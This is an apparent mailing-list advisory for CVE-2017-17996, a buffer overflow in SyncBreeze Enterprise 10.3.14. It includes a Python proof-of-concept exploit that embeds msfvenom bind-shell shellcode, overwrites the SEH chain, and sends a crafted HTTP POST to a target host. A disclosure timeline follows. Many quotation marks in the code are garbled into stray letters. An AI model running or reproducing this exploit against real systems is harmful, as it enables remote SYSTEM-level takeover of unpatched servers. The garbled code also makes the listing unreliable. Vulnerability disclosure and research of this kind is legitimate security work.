Flexense SyncBreeze Enterprise 10.3.14 Buffer Overflow

`Hi List,  
  
Description:  
  
A buffer overflow vulnerability in "Add command" functionality exists in Flexenseas SyncBreeze Enterprise <= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege.  
  
Author:  
  
@ryantzj  
  
www.ryantzj.com  
  
Homepage:  
  
http://http://www.syncbreeze.com/  
  
CVE-ID:  
  
CVE-2017-17996 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996  
  
CVSSv3 Score:  
  
9.9  
  
CVSSv3 Vector  
  
(/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)  
  
Proof of Concept  
  
#!/usr/bin/python  
  
import socket  
  
  
buffsize = 5000  
  
#msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars '\x0d\x0a\x00\x27\x22\x08\x09\x1b\x5c\x5f\x25\x26\x3d\x2b' -f python -v shellcode  
shellcode = ""  
shellcode += "\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e"  
shellcode += "\x81\x76\x0e\x93\xfe\x85\x99\x83\xee\xfc\xe2\xf4"  
shellcode += "\x6f\x16\x07\x99\x93\xfe\xe5\x10\x76\xcf\x45\xfd"  
shellcode += "\x18\xae\xb5\x12\xc1\xf2\x0e\xcb\x87\x75\xf7\xb1"  
shellcode += "\x9c\x49\xcf\xbf\xa2\x01\x29\xa5\xf2\x82\x87\xb5"  
shellcode += "\xb3\x3f\x4a\x94\x92\x39\x67\x6b\xc1\xa9\x0e\xcb"  
shellcode += "\x83\x75\xcf\xa5\x18\xb2\x94\xe1\x70\xb6\x84\x48"  
shellcode += "\xc2\x75\xdc\xb9\x92\x2d\x0e\xd0\x8b\x1d\xbf\xd0"  
shellcode += "\x18\xca\x0e\x98\x45\xcf\x7a\x35\x52\x31\x88\x98"  
shellcode += "\x54\xc6\x65\xec\x65\xfd\xf8\x61\xa8\x83\xa1\xec"  
shellcode += "\x77\xa6\x0e\xc1\xb7\xff\x56\xff\x18\xf2\xce\x12"  
shellcode += "\xcb\xe2\x84\x4a\x18\xfa\x0e\x98\x43\x77\xc1\xbd"  
shellcode += "\xb7\xa5\xde\xf8\xca\xa4\xd4\x66\x73\xa1\xda\xc3"  
shellcode += "\x18\xec\x6e\x14\xce\x96\xb6\xab\x93\xfe\xed\xee"  
shellcode += "\xe0\xcc\xda\xcd\xfb\xb2\xf2\xbf\x94\x01\x50\x21"  
shellcode += "\x03\xff\x85\x99\xba\x3a\xd1\xc9\xfb\xd7\x05\xf2"  
shellcode += "\x93\x01\x50\xf3\x9b\xa7\xd5\x7b\x6e\xbe\xd5\xd9"  
shellcode += "\xc3\x96\x6f\x96\x4c\x1e\x7a\x4c\x04\x96\x87\x99"  
shellcode += "\x92\x45\x0c\x7f\xf9\xee\xd3\xce\xfb\x3c\x5e\xae"  
shellcode += "\xf4\x01\x50\xce\xfb\x49\x6c\xa1\x6c\x01\x50\xce"  
shellcode += "\xfb\x8a\x69\xa2\x72\x01\x50\xce\x04\x96\xf0\xf7"  
shellcode += "\xde\x9f\x7a\x4c\xfb\x9d\xe8\xfd\x93\x77\x66\xce"  
shellcode += "\xc4\xa9\xb4\x6f\xf9\xec\xdc\xcf\x71\x03\xe3\x5e"  
shellcode += "\xd7\xda\xb9\x98\x92\x73\xc1\xbd\x83\x38\x85\xdd"  
shellcode += "\xc7\xae\xd3\xcf\xc5\xb8\xd3\xd7\xc5\xa8\xd6\xcf"  
shellcode += "\xfb\x87\x49\xa6\x15\x01\x50\x10\x73\xb0\xd3\xdf"  
shellcode += "\x6c\xce\xed\x91\x14\xe3\xe5\x66\x46\x45\x7b\x97"  
shellcode += "\xa1\x14\xed\x3f\x06\x43\x18\x66\x46\xc2\x83\xe5"  
shellcode += "\x99\x7e\x7e\x79\xe6\xfb\x3e\xde\x80\x8c\xea\xf3"  
shellcode += "\x93\xad\x7a\x4c"  
  
  
jmp2 = "\xE9\x42\xFE\xFF\xFF"  
  
  
payload = aAa*(432-len(shellcode)-20) #eip offset at 436  
payload += "\x90"*12  
payload += shellcode  
payload += "\x90"*8  
payload += "\x71\x06\x70\x04" #NSEH, a jump net  
payload += "\xB1\x41\x01\x10" #SEH  
payload += "\x90"  
payload += jmp2 #jmp back to shellcode  
payload +=aCa*(buffsize) #ends at 83 bytes  
  
buffer ="POST /add_command?sid=c5ecca3e01e7d15b0a490fc197f14395 HTTP/1.1\r\n"  
buffer +="Host: 192.168.38.154\r\n"  
buffer +="Content-Type: application/x-www-form-urlencoded\r\n"  
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"  
buffer +=aContent-Length: a+str(len(payload)+13)+"\r\n\r\n"  
buffer +=acommand_name=a+payload  
  
print a[*] Sending evil HTTP request to syncbrza  
print a[*] exploited by @ryantzja  
print a[*] Please modify session id and target host to get exploit workinga  
  
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
expl.connect((a192.168.38.154a,80))  
expl.send(buffer)  
print expl.recv(1024)  
expl.close  
  
  
Disclosure Timeline  
  
December 29, 2017 1: Vulnerability acquired by ryantzj  
  
December 30, 2017 2: Informed vendor via [email protected]  
  
January 31, 2018 3: Exploit published  
  
  
Regards,  
  
ryantzj  
  
  
`